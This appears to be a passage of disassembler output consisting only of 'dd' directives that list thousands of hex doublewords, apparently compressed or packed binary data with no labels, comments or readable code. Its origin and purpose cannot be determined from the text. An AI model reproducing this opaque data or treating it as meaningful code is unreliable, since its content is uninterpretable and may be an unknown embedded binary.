		dd 841DFD10h, 1862987Fh, 102CF6F9h, 2444C0EBh, 4B03005Fh
		dd 5E602830h, 8867552Bh, 0E22C8303h, 6CC1847Bh,	0E301D304h
		dd 0CA18ED1h, 965C01B9h, 48202659h, 0CC6049F4h,	3EC06E4Ah
		dd 4F369461h, 0BCBF22A8h, 0A8404EC4h, 71C43B29h, 3F38DD00h
		dd 0FF4CBE19h, 4BBC1DBBh, 0C79934Ah, 27E192D0h,	5F2CF809h
		dd 9C04947Eh, 0E1465644h, 11F40A76h, 9982791h, 3481421Ch
		dd 30B5931Bh, 7C912610h
		dd 0C56A8100h, 8091A3B8h, 3A4A7332h, 8223B83Bh,	32888814h
		dd 674B61B6h, 60E34464h, 3CCB51C9h, 0EF00B1B5h,	0A5A37C9Fh
		dd 0BF057B01h, 8980C733h, 51A48B0h, 0A3886B68h,	3CCC88Fh
		dd 744F155Ah, 4CB023h, 9F003C22h, 0F9F4C386h, 539D4F0Ah
		dd 8AA27839h, 78DF30h, 8B73061Ah, 0D5A1C88Fh, 2FFF201h
		dd 0EFDCF67Ah, 0D46C4421h, 5320F9A2h, 5A86235Fh, 23F83BDEh
		dd 5E120E15h, 8DC02BE1h, 0B9F0476Ah, 7E051858h,	0A3440887h
		dd 97DA3C08h, 0CCE0284Ch, 4CC4D488h, 9110B4CEh,	10FC58E7h
		dd 0B30A79CBh, 44984DA4h, 0BE94604Eh, 95F82325h, 0B1008311h
		dd 1BA6BE8Ch, 0CC6E8649h, 22CEE289h, 1178D926h,	32829FBEh
		dd 710E8492h, 1A3B60BCh, 0A713EC32h, 0AC04C128h, 0CB015B0Dh
		dd 1005AB03h, 4D04534Bh, 932698FFh, 262A082Ch, 4B9B2305h
		dd 0DD885C8Eh, 0B080CCC4h, 344D62FEh, 4871D32Ch, 0BA40ADA8h
		dd 0C494B5EDh, 0C85CABA0h, 268C8FB0h, 3D3DFCCCh, 0FE13058h
		dd 368C20C5h, 0D20530B0h, 0E235703h, 510A8445h,	0CE082CB2h
		dd 0E837FA34h, 670027F4h, 87B47C8Ah, 2C224217h,	8442848Dh
		dd 79282074h, 0A61705F0h, 0C48CF789h, 0E9B40199h, 531A905Ah
		dd 806A612Ch, 8E7E9A18h, 2DB0627Fh, 0A0059DFFh,	9750402Fh
		dd 8549D0D6h, 9D267700h, 9CF0A3B0h, 6A1D011Ah, 2A722166h
		dd 8D4430BDh, 48E3CA80h, 58116042h, 0C6AD2567h,	0C81FFFB0h
		dd 58495E42h, 0F96E3F78h, 96264A03h, 0B075E1C7h, 9A2C8h
		dd 1F13989h, 0EF8A1FF2h, 8073FA28h, 0B82CA459h,	0A9C33D58h
		dd 0FF1CC84Ah, 95CF7000h, 2C4B1CD9h, 1CC927Dh, 0D02F6DA8h
		dd 38817F48h, 0FC520508h, 34C80F36h, 1A5B4085h,	0B7F3F8A0h
		dd 0F0204B81h, 44E94E52h, 0E0A45F54h, 0FD2FF12Ch, 7D809807h
		dd 87190863h, 0C5F091DCh, 962CACD3h, 0B63E0A80h, 0E7A2B83Ch
		dd 0AD8C5093h, 401A2003h, 0F8BA24E8h, 891192F7h, 0B0A2681Ch
		dd 0FF903958h, 4A0C924Ah, 9300A0E6h, 1679E376h,	28ED483Eh
		dd 46C82B1Dh, 8D54021Ah, 5947C2C8h, 4C7A6050h, 741CDC8Dh
		dd 5CEE56FEh, 8925664Ah, 0D866DCh, 43E818EFh, 0C9204211h
		dd 7233C8A9h, 30E3F2A4h, 40019CDBh, 0F95814DFh,	0EC70518Bh
		dd 24552502h, 222D4090h, 460D8300h, 31A8723Fh, 0DB9207F0h
		dd 0A033591Eh, 674D29FFh, 0A8E80AFEh, 2707F092h, 0AD14A99Bh
		dd 908F8001h, 2FC2EC3Ch, 0B4820AFAh, 440925E6h,	9EA900C8h
		dd 713089DFh, 0E4EEAB3Ch, 29E92A61h, 0E0C1F6FAh, 18103C2Dh
		dd 0BCCF135Bh, 45BDC898h, 78FC602Eh, 5048484Bh,	0C037AD9Dh
		dd 61319F0Eh, 35D9BA5Fh, 5442944Dh, 0EA844B4Eh,	82C054F2h
		dd 9EF7883Ah, 0F0F45301h, 0A2920828h, 3053B2E8h, 40076414h
		dd 0C75C9618h, 6A930CE2h, 2280149Ch, 611D18BEh,	84E46D84h
		dd 0A535AD04h, 0E858E814h, 7B2C5481h, 504B2B29h, 0B3346043h
		dd 304959E0h, 63EDF200h, 62E41F20h, 0D84AC8B2h,	8461ACC9h
		dd 16F0522Fh, 0E3F8044Ch, 13E4F485h, 13721920h,	72F1D370h
		dd 380C8898h, 0D1CF2AF2h, 244F11DCh, 0A7D60841h, 26F8286Bh
		dd 50DC91CAh, 53125017h, 0C1FBD4B8h, 0D8B58521h, 8D0706A8h
		dd 0AA9E9B9Dh, 5BD3FF60h, 378B7B58h, 61200B0Dh,	0C13F68C0h
		dd 89049E0Fh, 2B0044B7h, 0CE1B6D95h, 4186A26h, 361E851h
		dd 0C3592021h, 0FC7E89C9h, 2118CCFFh, 0C3510141h, 705426B0h
		dd 0F408023h, 95FFFBBFh, 5A1463B1h, 314C12E9h, 0C57A0075h
		dd 1051B940h, 4E7B0003h, 3328807Dh, 3A0E52E1h, 6C0FC085h
		dd 3981350Ch, 0E381C5EAh, 0A18D8954h, 8156A029h, 0F6EC3B31h
		dd 1FEDB531h, 95E16447h, 84010D1h, 529DBD03h, 5223742Dh
		dd 44C35A0Eh, 17625489h, 0C3524220h, 71D10086h,	664FB2CCh
		dd 78A1D38Bh, 502B42C9h, 91456332h, 2B484489h, 50408814h
		dd 8DDBC303h, 40EE1985h, 6FC1DCCAh, 2DAFE30Ah, 66500C58h
		dd 34D6BF01h, 5E8016Ah,	94264580h, 8B6925EBh, 326DBD19h
		dd 2688592Eh, 7B8007E9h, 5CE3DA6Fh, 1C4C6C78h, 683BD1C0h
		dd 0BD0F32FFh, 0C35F3057h, 7C4689E4h, 47001622h, 2F71C357h
		dd 31BD899Bh, 0F7A30E5h, 722448Ch, 0F683FE8Dh, 14C5D399h
		dd 0ED204484h, 3CB5DDAh, 1FBF040Eh, 0AF549B5h, 83EC9887h
		dd 36E9EA8Ah, 56A43164h, 0C8C35E61h, 448C7489h,	5600461Bh
		dd 609CD2C3h, 17CE1965h, 15230A62h, 83409D90h, 6E72C8C8h
		dd 34B983BCh, 91F55099h, 3222B5FFh, 2231B041h, 646F38A8h
		dd 88F51927h, 0E9880759h, 0B60BC434h, 3F54823Ah, 1B08AC2Fh
		dd 8EFC01D3h, 505B4917h, 136AA034h, 0D2B70F18h,	92330D64h
		dd 33F951E1h, 0BD2920DEh, 6A920EADh, 0E8DE1048h, 4D148C16h
		dd 0B2D254C8h, 0CAC72840h, 1C46749Bh, 3BA0C100h, 0F5EF056Dh
		dd 8A5BB507h, 0F85E89EBh, 0D015E9DFh, 9510B233h, 19834528h
		dd 49B9FFCEh, 4E882534h, 0C11D8859h, 0D1D5191Ah, 7B74D4B4h
		dd 6AACA932h, 66F6B0FFh, 0BDD11481h, 3335C389h,	0EAC81E17h
		dd 37C78593h, 0BF28A9D0h, 958BC0F9h, 3D991591h,	928E0F09h
		dd 0F8725700h, 4D3DB00h, 0A873F2EEh, 9509089Eh,	6A922B5Dh
		dd 20EACDBBh, 7412CE89h, 1C720CDAh, 60C6482h, 0F2D58060h
		dd 2B45C261h, 2A045B02h, 0CE170A77h, 0BA424F23h, 404C76A0h
		dd 71770376h, 0C224AEDh, 0A67BE3BAh, 170960E8h,	0C72FEDAAh
		dd 0CAC64C01h, 0BD33BE3Ah, 0D58C25FDh, 572B8068h, 3125798h
		dd 0DD21810Fh, 0B8013E8h, 0CE69C4B1h, 60000BB2h, 5A9722FAh
		dd 75E928Ch, 0CC7649B8h, 0B961D791h, 9199C2BDh,	0B91005D2h
		dd 0A93A951Eh, 0D07EA63Fh, 8558761Ah, 0CB4C714Fh, 0A0C02D68h
		dd 9107ADF1h, 0A7D1145Ah, 0F6138B74h, 1B212EDDh, 2B8C1AC1h
		dd 0F9450184h, 0FA0C4498h, 8AFFF883h, 0FB8DDDA2h, 0CCF72514h
		dd 84E37384h, 20A0CD6h,	44C4A48h, 0C3558890h, 8991C35Dh
		dd 806B636Ch, 8DC35545h, 90DEE6B7h, 821EECAFh, 243BBB81h
		dd 5357915Bh, 49C3DF9Eh, 2C9C5C89h, 0C3534303h,	19757984h
		dd 0FF339154h, 0E1CC61D0h, 8E32412Dh, 0B129031Eh, 144501A9h
		dd 469B5985h, 928E91C0h, 0E952E4F8h, 879A02E8h,	860C3028h
		dd 0B0E5D99Eh, 12096247h, 74222DE9h, 17B4E319h,	3CD8B880h
		dd 0A146ACB6h, 17202246h, 0D62F40D6h, 19E27542h, 0E059E430h
		dd 550213A5h, 0E7590060h, 0B1611F16h, 81C29468h, 2A501160h
		dd 255B4A42h, 23173A04h, 0D6110118h, 915BD03Fh,	0CC000DB2h
		dd 0A1D19653h, 1103C11Fh, 4781D567h, 0D4D799B0h, 303B2FD0h
		dd 0E1A8595Ah, 80C392F6h, 5CABC580h, 2D6180Ah, 85AF5775h
		dd 0D39AF48h, 9D63F9B9h, 631958D9h, 664CA3D4h, 9873DB3h
		dd 0F104653Dh, 0FE81C8AFh, 0B50105D1h, 328C66C9h, 0C92F0E01h
		dd 29101B66h, 2D4109B5h, 0CB586336h, 5C5888C0h,	5B714A5Fh
		dd 0D02E97B8h, 46747350h, 8C660017h, 9D09BE7Eh,	4C329A49h
		dd 7D103F60h, 52512C32h, 0EC52228h, 79996158h, 1D883B0Bh
		dd 0DDA1DFC0h, 0D89206AEh, 66EE7599h, 0B2F58524h, 1FAC9FA6h
		dd 218467Eh, 5E2A34D4h,	0C8ABCC40h, 9EA4B1CAh, 0E9C7D00Fh
		dd 40202D75h, 1AE28823h, 4342F30h, 785ED287h, 0BDCDC86Eh
		dd 2AA23EA2h, 111F0185h, 80EF8F1Bh, 2FFFF5D9h, 31D609B9h
		dd 94AA8985h, 21A51D1Ch, 34EF1D08h, 506D0076h, 9F40F4BAh
		dd 0E71E544Ah, 286E7C0Bh, 467EE9E4h, 0BA5C0119h, 6DF3F70Eh
		dd 2837DF42h, 24FD0DBFh
		dd 60330896h, 5DBD0B12h, 9D8B3941h, 0C972C71h, 52216261h
		dd 1549FE60h, 0A8205F81h, 0E01E4959h, 0E11E66C9h, 22526843h
		dd 0A43016E2h, 2230B837h, 2B90068Fh, 9E158D4Ah,	10E889E5h
		dd 479AECEh, 0C10299EFh, 0DF5BC09Eh, 5F12A32Bh,	5222870Fh
		dd 54E4E9h, 0FCE75B76h,	35F4BBC2h, 7528F20Eh, 15ABE0B7h
		dd 1869B573h, 310FE97Dh, 0CF4DCD80h, 84238B0Ch,	50041924h
		dd 60CF98F5h, 64FD8B77h, 0AC936122h, 1009CC31h,	79BD3100h
		dd 43721D4Ah, 61C5C057h, 59598134h, 509F46E1h, 0A0502F4Ch
		dd 0AB9F048h, 56E72521h, 0CAED481Ah, 0B6873D3Eh, 0DFF76FE9h
		dd 0EBD92D8h, 881F1691h, 0DD341B28h, 0EFDB1820h, 0BD9F56C3h
		dd 0E2811980h, 0BBA9E80Bh, 0C8441B09h, 50031165h, 5AAD24Ah
		dd 7B8B8C29h, 0CACDC176h, 6441DE59h, 88424E19h,	3CE3C01Ah
		dd 0F1019EE4h, 0BD89B8CDh, 45322691h, 88E9FA0Bh, 7AFEBC29h
		dd 8D098D2Ah, 0E9EF3DB5h, 0B5733957h, 0D09B7C12h, 3CFEDF3Bh
		dd 0B52082B8h, 0E95711A3h, 83AB070Eh, 8F9035D5h, 5935A2Ch
		dd 1CD3F37Dh, 95EB0760h, 23910981h, 8B998D0Dh, 37089DF3h
		dd 25B5BAF9h, 6A0431BDh, 0C868CE6Ah, 0E57EC01Dh, 98007818h
		dd 0D3E49FC7h, 28156FFh, 87AADECFh, 4F925A6Dh, 1B11BD1Dh
		dd 0A9E3FD80h, 0F008E84h, 2DBFB9CAh, 480216ABh,	1880EDE8h
		dd 52EFCCD4h, 0C88A480Bh, 6585895Ah, 671BE416h,	1E4A88C0h
		dd 483D01C9h, 9D896015h, 26F62969h, 0F06A2886h,	610BF522h
		dd 42B18D33h, 0C439E753h, 0D9217FD9h, 666E057Bh, 83FBF6B9h
		dd 8C900A26h, 0ABB90913h, 80D88B80h, 0C653C7E1h, 19281544h
		dd 74890339h, 0EC50433Ah, 21212006h, 1AA8AAF7h,	42B6B575h
		dd 93046017h, 9B1413F5h, 74146110h, 6AF18A13h, 230B36C4h
		dd 5F0068E8h, 0DAA3393Fh, 0EC973480h, 71AD74F4h, 594FB50Ch
		dd 0A965B450h, 85286AB1h, 8AC7E90Dh, 45B0550h, 0F30B9DC6h
		dd 3014E21Eh, 43B46A41h, 18154674h, 0D29AF23Ch,	48D14E93h
		dd 8BBE04E9h, 9534BBFh,	0CF792F74h, 0B85414CAh,	367C8C1Ah
		dd 9DCC2200h, 0BD010A32h, 0C872EB35h, 0A229D51Dh, 46569596h
		dd 0EAB31815h, 0C4BCC2C8h, 0F5551h, 0E9C3DD80h,	1ECF8811h
		dd 49F7B400h, 78E6C7Bh,	547F0AEh, 0C0E4BECDh, 2C0E99B0h
		dd 20DC8FF9h, 477EC701h, 0F0520027h, 382C95A3h,	110B0AA5h
		dd 8B8F8A7Ah, 5A66A599h, 0B0512D98h, 0FC0144F5h, 96045949h
		dd 6E00D86Fh, 80D972D5h, 0A858E974h, 14B91071h,	18402C76h
		dd 65E63CB0h, 344A70C7h, 0D6804631h, 1748B9C8h,	2C0E130Fh
		dd 2B893C72h, 800DA870h, 17C38C3Dh, 4E94830Fh, 0C726FD6h
		dd 0A85356BFh, 59D9A85Dh, 4256B65Fh, 36A4983Dh,	0B99A355Eh
		dd 66B8B5C1h, 0BD8048E9h, 1609725Eh, 982EE657h,	8A600141h
		dd 499D8BC1h, 38093516h, 0CF29D40Eh, 0A11940A6h, 0EEAA57h
		dd 374B50F8h, 0C72D6C70h, 9CBDA02h, 7914FDB5h, 8B28924h
		dd 0C688C39Fh, 0C621FC0Bh, 9DC0720Bh, 801A6F2Dh, 407CEDEAh
		dd 822CCD8Ch, 2E150779h, 920B3F80h, 322102F5h, 88192F21h
		dd 0A0B6D3Eh, 8EE113E9h, 6BEE36B1h, 82835D10h, 8E0C018Dh
		dd 5622D037h, 65803BB1h, 52FFC2D8h, 118BCB8h, 88A170A2h
		dd 1CF42E1h, 1DD9B759h,	0DD3E4318h, 0E6E480C8h,	9C02C26Dh
		dd 885A4A56h, 861D7F1Ah, 2C0053A3h, 0EC1B4CEAh,	47AE03F8h
		dd 0E024D817h, 0F231E9E0h, 31CFF71h, 49254595h,	0FE4FF87Ch
		dd 7E07DDC4h, 0B907DD10h, 110AB502h, 23661005h,	17C28BDh
		dd 28B528CEh, 0DC5E9C64h, 8248677Dh, 300D110Ch,	0FC5CF622h
		dd 0E1B53BFEh, 0F52585A5h, 0A113AF39h, 1DBAD11Eh, 4FB900F7h
		dd 8AF0C72h, 0E8693AE9h, 0FBD663A0h, 0B4044100h, 7FECF0D5h
		dd 2098B88Fh, 5F620A65h, 0BF32D64h, 0B70B14ECh,	842940D2h
		dd 45132118h, 26701396h, 0F8192A41h, 0D14C346Ah, 105E7028h
		dd 484F12D4h, 6DA82D27h, 2318074Eh, 2E8C66FBh, 20F1F6DBh
		dd 190267C4h, 0E0D564C6h, 68485651h, 9C627678h,	9031F95Eh
		dd 993AC394h, 46A0B31h,	1D10DB04h, 0EE8164DBh, 89045B8h
		dd 6804472Dh, 0EC18AC9Bh, 0F0602479h, 4F071EA4h, 2F266168h
		dd 0A19D1EB8h, 8C5A1FCFh, 2823C07Dh, 8518C256h,	759875C0h
		dd 980A6841h, 2ADB8764h, 0A9D021D3h, 0A4684C60h, 0AD80E4E7h
		dd 21F12420h, 5B123F88h, 952C8204h, 151554AEh, 8903C785h
		dd 0C43D8E6h, 260F026Ch, 0B930587Dh, 0FFEE26C9h, 53430283h
		dd 8CB51334h, 6D0A4C89h, 9768450Fh, 492A584h, 9A390D2Dh
		dd 0B00C0267h, 0A632752Eh, 0A1C0DA66h, 0C234E35h, 344DBD2Ch
		dd 66C3AF28h, 9297CA8Bh, 59810779h, 0FCAB2986h,	25F9BD09h
		dd 21A97C3Ah, 0D632A415h, 90AFEE4h, 6E35FF64h, 0CFB9660Fh
		dd 25896518h, 0CE8B0B04h, 85619CC3h, 883B7CCCh,	0D5258D89h
		dd 9D9BA221h, 4BA50933h, 59134428h, 0BD800116h,	0CB69FBA9h
		dd 61630251h, 0F50D0130h, 0FD27DE9h, 0A0EDE182h, 3361FC9Ch
		dd 0C47CA5DBh, 99786017h, 0A80ECD5h, 0C0333ECDh, 40FE00BCh
		dd 0B073F0Fh, 58F6414h,	0C483187Fh, 4CEAC14Ch, 0D1403D72h
		dd 0F31965F9h, 84F781FBh, 0E680102Ah, 15E912DBh, 0B27FE301h
		dd 0CEA2301Ah, 0F0943501h, 67E92A15h, 0F8CE202Eh, 24064C8Bh
		dd 0A481C70Ch, 3FF671Bh, 15B8A683h, 0C3E00462h,	0C89858Bh
		dd 6C01F484h, 0A8ED815Dh, 518B2F24h, 3B411B83h,	89022A7Bh
		dd 4F5D0CA6h, 8147605Dh, 26599589h, 0D99D0300h,	610C0864h
		dd 100024A2h, 12F24723h, 0DA068105h, 0A3F1122h,	299E206Ah
		dd 465E2E9Ch, 66EA001Ch, 1AD31195h, 0B0C7E439h,	2A9208Fh
		dd 12695048h, 7475DD64h, 0C34EC8h, 0AC6A75FDh, 5A930976h
		dd 3C45900Fh, 0F32562E6h, 0A0864E1Bh, 8127D144h, 0A262B9h
		dd 55D704B8h, 2640548h,	0BB0DF781h, 0E040D465h,	0B62540BAh
		dd 0E801C034h, 0ED0CCE5Fh, 5868FBE0h, 7526564Dh, 2508870Ah
		dd 53011117h, 0FFAC9F46h, 0E3912016h, 367117E9h, 4FD98DF0h
		dd 10606A0Dh, 0D584043Dh, 0A213210Fh, 0E120900Bh, 23189EB4h
		dd 0C4025F6h, 653795F5h, 17948201h, 0DC20AB3Fh,	0E9C2C5F9h
		dd 89995B47h, 392E3180h, 5BE130E6h, 78458001h, 3706563h
		dd 6E6F6974h, 669B4920h, 616D72B0h, 50800CA3h, 73F2656Ch
		dd 20202CE6h, 0EB747963h, 6857C7CFh, 8F738FDFh,	0AC778F66h
		dd 0F8641272h, 0FA6CFC76h, 73EDF370h, 0D16977ECh, 76661D34h
		dd 1CC6266Ch, 0C767676Eh, 752E7340h, 0D733C754h, 0D779D76Bh
		dd 0D0AB375h, 1A6047Fh,	80702833h, 436E0373h, 2B4C5254h
		dd 94EBFDAFh, 79466978h, 187A646Dh, 707B15D3h, 6C1E0879h
		dd 0F1625F69h, 442964DAh, 56420D36h, 0FDA609DFh, 0E725FD3Dh
		dd 0E8431E30h, 54496B63h, 8E640F4Eh, 54554F11h,	6F7250C3h
		dd 0F1D10FDh, 0F8C3BB6h, 0B60DF382h, 420F0E3Dh,	5054DE1Eh
		dd 1E18688Eh, 0BD05D8EAh, 9B8C1F91h, 2001412Dh,	9C48CB7Dh
		dd 0E50328Fh, 78EA1235h, 0DB95CCC0h, 1321F2F9h,	1942AB2Bh
		dd 13078B1Dh, 4916284Ah, 773CB024h, 115C84CBh, 88254284h
		dd 1A5B7121h, 0A8712DC8h, 7135C81Ah, 31C81AC6h,	0C81AAF71h
		dd 1AB77125h, 0BE7129C8h, 840C910Ah, 0E9050791h, 0BD1288A2h
		dd 3A325D24h, 0D449565h, 8521339Dh, 69831511h, 814B0B25h
		dd 0B32BF8C2h, 8D2F7CE4h, 52251095h, 4028C134h,	703BD4C3h
		dd 75DBA102h, 4022B566h
		dd 9D8B2255h, 4CC313A2h, 65A63AF0h, 5042118Ch, 54E42121h
		dd 421E2D22h, 0E4312158h, 2A25225Ch, 0DEA53DCh,	6845AFB4h
		dd 5A26CD05h, 2129430Ch, 0C8319025h, 3221642Dh,	120A2A1Dh
		dd 4F1C6217h, 22DD0790h, 643A841h, 130F5835h, 406A240Ch
		dd 19A53924h, 0C2B8BBA5h, 82475901h, 18EBC18Bh,	0E9429BCDh
		dd 4AF6580Bh, 653C1C60h, 2EE33B38h, 64C26180h, 0A0E63404h
		dd 14C8605Fh, 0ABF61008h, 24614F46h, 83F8E9C3h,	1BB58B21h
		dd 818E1C2Fh, 18F01BE6h, 0E833C664h, 8113B5B9h,	3B19D0C6h
		dd 39C31FB5h, 76E9860Fh, 0D8203C51h, 0CFB022B9h, 8C66506Fh
		dd 324C804h, 1B84C00Ah,	0DDAD2A1Fh, 858B2090h, 86024D91h
		dd 42DB0A18h, 0E670B3Fh, 48C3DA2h, 8ACFC624h, 50195877h
		dd 0FFF5E108h, 10FB107h, 70FEF14Ch, 1C25C0DEh, 6606A353h
		dd 15FCDB89h, 535B0209h, 0E84C09CAh, 43513882h,	89BBE008h
		dd 0CBEF8353h, 1A03E380h, 4B3884C3h, 0C79A7617h, 0D95D320h
		dd 0D1E6448Bh, 89C54898h, 18E306ABh, 0A5E924C7h, 1230CCDh
		dd 0A25BBDCAh, 6042A364h, 0EA493E80h, 0A1BB1031h, 763A07B7h
		dd 29B101B0h, 0AC001D79h, 0C302C88Ah, 9D1E432h,	0D20BAACBh
		dd 4A8611F9h, 45D6C90Ah, 0C423A8E5h, 71011D4h, 57D48B52h
		dd 33087A30h, 21E950C0h, 3F8038AAh, 5F158D56h, 530DBC5Ah
		dd 0C8325651h, 1051E9DBh, 0D1D8E84Eh, 0C381D301h, 37465ABCh
		dd 32FAB0BCh, 0E8970B49h, 5EC38B20h, 535B7459h,	234A7B60h
		dd 0EA2BAC96h, 0C044772Ah, 0DFE4E708h, 0D80F0335h, 3C2904A8h
		dd 0C093D429h, 7E890B12h, 348F6058h, 8221C485h,	687BC64h
		dd 8983C8BDh, 5F23E938h, 8B1F313Fh, 1705F840h, 9B46F30Ah
		dd 14482189h, 46FA3C67h, 8FD91EB2h, 0AE219230h,	69A287E9h
		dd 487690DFh, 7A004D72h, 0CAB2B80Ch, 9397A945h,	300681CBh
		dd 2C8D1C8h, 0FF73B46h,	8D92F182h, 2F08EA05h, 284C6528h
		dd 5609282Eh, 13085351h, 0C4A092Ch, 2D3C6730h, 100AC9A1h
		dd 2349804h, 0C1D83213h, 1C4208C3h, 1C8167BAh, 445E595Bh
		dd 4C980437h, 5E352231h, 742ABEA4h, 2D75210Ch, 0F1C49C10h
		dd 0E860040Eh, 0E4BE6789h, 4C20BE01h, 0D8D4F249h, 1900E3ADh
		dd 66980FACh, 4B94D981h, 0AC1BC44Fh, 64F61626h,	61D3FE04h
		dd 0EE287E3h, 5826F31Ah, 0C985040Eh, 0E073F5D3h, 0A42F9A8h
		dd 8A0FD048h, 0C580011Fh, 0B244B1A9h, 64E9CAF4h, 893618E0h
		dd 6A0C56ADh, 0C29A5D54h, 1421552Dh, 231B45EDh,	596800A3h
		dd 9F32B04Ch, 0BA661FB9h, 4AC2D290h, 81C152D5h,	8C5E9261h
		dd 0EDB9E1DFh, 0C7F7F029h, 3460044Dh, 61AD31AAh, 774A2FB8h
		dd 4585BFDCh, 0FA72830Eh, 6177E9D1h, 92D29467h,	53BF3A13h
		dd 8032DB83h, 1455F37Fh, 47741C06h, 0A260D70Dh,	0A7D90009h
		dd 89D4C335h, 61D528E3h, 342B2EF6h, 0BE6683BBh,	1CF91938h
		dd 299E4124h, 0C84869CFh, 0E44E8005h, 52F00750h, 1604EFA1h
		dd 0B9031638h, 3E48845Ah, 1A2369h, 0FE3A0AE4h, 5D041912h
		dd 0D178D3BEh, 0F13BB87h, 5DC6B5BFh, 0C48B0202h, 0EB01CDF5h
		dd 1CDD3240h, 0A28D524Eh, 5A47A6A0h, 4C58665Eh,	33BED05Bh
		dd 1D3FA774h, 0C8B79361h, 7120E105h, 0E99BEA16h, 0CAFA3881h
		dd 0B8A9126h, 8B000248h, 93C981C2h, 32160675h, 2E20B861h
		dd 0E0B2E7FFh, 5B88BA57h, 0F813010h, 11040B6h, 0B022C8FEh
		dd 21251EBh, 53886C5Fh,	3016A2E4h, 8F657835h, 2EDD0A6h
		dd 0E83107B8h, 61CF427Ah, 0ABF06E26h, 0D3020E9Eh, 0F896D8C9h
		dd 0DE1D62A8h, 9D03DCD2h, 487FCF43h, 0B8D3A0C7h, 0DABD9BE4h
		dd 0E5944D3h, 0E02D20Bh, 0FEE81DC1h, 60752408h,	0CB82BFEh
		dd 1840DE03h, 91530F0Dh, 6F2C1088h, 0DD9F0B98h,	21F8C00h
		dd 0AA5AED17h, 0C86569D3h, 1911701Dh, 5E802380h, 948E2DEh
		dd 9FBE0B5Fh, 0D1EA093Eh, 59F18937h, 0A8C2CB05h, 0C0888E7Ah
		dd 0D531D0B5h, 6C1FC2Bh, 6DB26059h, 2524E861h, 9A68A5Ah
		dd 6692C60h, 79207B7h, 0F0A9F1A2h, 3B6FF4B9h, 71C8705Eh
		dd 29D1006Eh, 4D6B3A19h, 0B985EE9h, 0B87A96h, 1EA6F081h
		dd 2F5A4628h, 7764870Fh, 0D3A3CE00h, 1C8B4874h,	0DEBBA011h
		dd 0A997E7Ah, 0A455CDEBh, 0E7BF07C6h, 54F3E0A1h, 437A3FD4h
		dd 0AA29B81Eh, 0E451C380h, 308B0158h, 271A53F7h, 4048FDAh
		dd 4DE1BF11h, 8D0F7C81h, 81C7202Eh, 5E7421D8h, 0EF9FEA06h
		dd 0BAA4DD2h, 55B0F790h, 29B7E05h, 0A684FA0Ch, 8575DF58h
		dd 9B806EB9h, 0C8163D46h, 5404A025h, 7611C092h,	623C5522h
		dd 0E20023F4h, 0B1E9F219h, 0F0E51Fh, 0CB359F14h, 4BDB1B09h
		dd 3B9CB203h, 78A63CC6h, 0EA20040h, 391272C9h, 0D0607CD3h
		dd 0E957BA28h, 9F150247h, 0A5B954C8h, 1E1A3880h, 8130303Eh
		dd 27112038h, 0C7EAF8h,	4223D625h, 0B8E6FB22h, 8AB3AB00h
		dd 98F00FB2h, 0B7C7002Ah, 36687ED0h, 0DD00FD23h, 5EAE4386h
		dd 50EA4EEh, 3B9ACAC7h,	0D7440D5Bh, 2D21D851h, 6031E260h
		dd 60AD2FAFh, 0BB39803Dh, 0D01FCB1Bh, 690CB44Bh, 0F4C71852h
		dd 0F7A140A3h, 3B9D1F10h, 0E4A62300h, 3D22015Ch, 0EFC95014h
		dd 0D2F98694h, 0E53E1E30h, 0B38B0C39h, 1F0DB010h, 7011F4C3h
		dd 2A5DAF3h, 0CC92B552h, 99060437h, 3B10381Fh, 18E14726h
		dd 40802CD5h, 0C33FD94h, 10164005h, 800983F4h, 0C5ED8026h
		dd 64F3D425h, 2117298Ah, 0D71281E4h, 0F5101927h, 53E696h
		dd 7B3774CCh, 0B789B95Ah, 0D9922A0Fh, 0F85CDAh,	83B15D18h
		dd 3457201h, 7C3EF3D0h,	0CAB0A21Dh, 0D8E396F0h,	0B500E6F2h
		dd 3E490720h, 743D87h, 6371D0B8h, 7F8DFD9Fh, 26413C05h
		dd 0BBC1A9D3h, 0F18183DAh, 0E0F0A3D4h, 5028808Dh, 402D38E5h
		dd 657D0027h, 79162C47h, 0BC01493Fh, 45ED044h, 3D6CF3EBh
		dd 78B63018h, 3674F57Fh, 0FAA92900h, 2A17E979h,	0F6ACA89Fh
		dd 51266E3Eh, 2003FFEh,	4E8A92Bh, 3B010D9Bh, 0CCC758BDh
		dd 87078472h, 16A19EB7h, 0FC48B629h, 1E3004F4h,	39FCD12Fh
		dd 9B77E6h, 734941D7h, 0D227962Eh, 5C0003E6h, 80FDCDDFh
		dd 245089h, 15C9C136h, 0F5201976h, 35AC7F07h, 3210CC3Ah
		dd 5CB47906h, 0DE006482h, 126C2921h, 0A301C06Fh, 871E4854h
		dd 95FC5A42h, 0D6A53E7Fh, 3F62D09Dh, 0CC08017Dh, 0DBC84FBAh
		dd 5A8ED4D8h, 0ACD03C00h, 78ECC9B1h, 21AE60BBh,	90A8D592h
		dd 3FA15600h, 0D9E093BAh, 4F750031h, 3AC347CCh,	6405EE80h
		dd 3CF852E6h, 34AA000h,	0B57D74h, 9BF58784h, 527FD06Ch
		dd 80503A3Dh, 40B1B93Fh, 6347EFh, 8876FF5Bh, 0BB49E9F3h
		dd 5F1E310Ah, 0D601C49Bh, 0AAE33954h, 0FC9774h,	45F6963Dh
		dd 95CD6672h, 247BA000h, 6EA15BCCh, 0AE44003Fh,	82319401h
		dd 0E500E24Fh, 0CAB45F14h, 28266DDAh, 78D8B7ACh, 5DD20905h
		dd 2C00B244h, 2CF7C714h, 87B2B00h, 1ED76DE6h, 1FED00B8h
		dd 0F8ABE175h, 0B600AF0Ah, 7C1624Dh, 3F648CDCh,	0F400D647h
		dd 9CA9D76Ch, 750020DEh, 2E05F7F6h, 305D4E09h, 3420F53Ah
		dd 0D8EC8378h, 0B5284160h, 0EACFB10Ch, 4890044h, 8D66C721h
		dd 78003D56h, 0D5B65E8Eh, 0C068F7h, 0F3D1D29Fh,	3B7B50E4h
		dd 5B5C9201h, 1F7020C7h, 0F3A18C20h, 0B042D0h, 7F2E8EA8h
		dd 11DC654Eh, 0E1809350h, 83FF2D00h, 0BC799592h, 0FC4E617h
		dd 1954EBEEh, 0EAA2F940h, 6A90CA49h, 0BDE0BC00h, 0FFFE9B2Ch
		dd 0C7171F98h, 0D4CFC02h
		dd 31594A07h, 1F72066h,	3E602A3Dh, 0A25F4BF8h, 585500FBh
		dd 50273610h, 0D1060B92h, 7B4FBC56h, 0B22D0050h, 39DF8084h
		dd 3E00BA50h, 0DD210C75h, 7656D46h, 52872DD5h, 9CE47606h
		dd 0C9C57118h, 0EEFDFB31h, 578C00C2h, 0F225329Fh, 153DE21Ah
